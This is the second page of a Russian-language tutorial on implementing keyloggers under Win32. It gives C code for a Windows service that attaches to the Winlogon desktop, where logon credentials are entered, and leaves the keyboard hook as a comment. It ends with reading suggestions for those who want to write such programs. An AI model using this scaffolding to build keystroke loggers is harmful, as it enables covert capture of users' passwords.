Смекни!
smekni.com

Реализация keylogging под WIN32 (стр. 2 из 2)

Приведу небольшой пример реализации сервиса и подключения к рабочему столу. В данном примере я опустил всю обработку ошибок.

#include <windows.h>

void WINAPI MyServiceStart(DWORD, LPTSTR *);

void WINAPI MyServiceCtrlHandler(DWORD);

void ServiceWorkFunction();

SERVICE_STATUS_HANDLE MyServiceStatusHandle;

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

{

SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart},

{NULL, NULL}};

//Вызываем точку входа сервиса

StartServiceCtrlDispatcher(DispatchTable);

}

void WINAPI MyServiceStart(DWORD, LPTSTR *)

{

SERVICE_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE_WIN32;

MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

//Регистрируем обработчик событий сервиса

MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService",

MyServiceCtrlHandler);

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);

ServiceWorkFunction();

}

void WINAPI MyServiceCtrlHandler(DWORD)

{

SERVICE_STATUS MyServiceStatus = {0};

MyServiceStatus.dwServiceType = SERVICE_WIN32;

MyServiceStatus.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);

}

void ServiceWorkFunction()

{

HWINSTA hWS;

HDESK hDT;

//Подключаемся к оконной станции

hWS = OpenWindowStation("Winsta0", FALSE, GENERIC_ALL);

SetProcessWindowStation(hWS);

//Подключаемсякрабочемустолу

hDT = OpenDesktop("Winlogon", 0, FALSE, GENERIC_ALL);

SetThreadDesktop(hDT);

//SetWindowsHookEx ит.д.

}

Вопросы присылайте на e-mail: http://bugtraq.ru/library/programming/ermolov_mark@mail.ru

P.S.

Всем желающим создавать подобные программы хочу порекомендовать несколько замечательных книг:

Список литературы

"Внутреннее устройство Windows 2000", Д. Соломон, М. Руссинович

"Программирование серверных приложений для Windows 2000", Дж. Рихтер, Дж. Кларк

"Windows для профессионалов", Дж. Рихтер

а также утилиты procexp.exe и winobj.exe от sysinternals.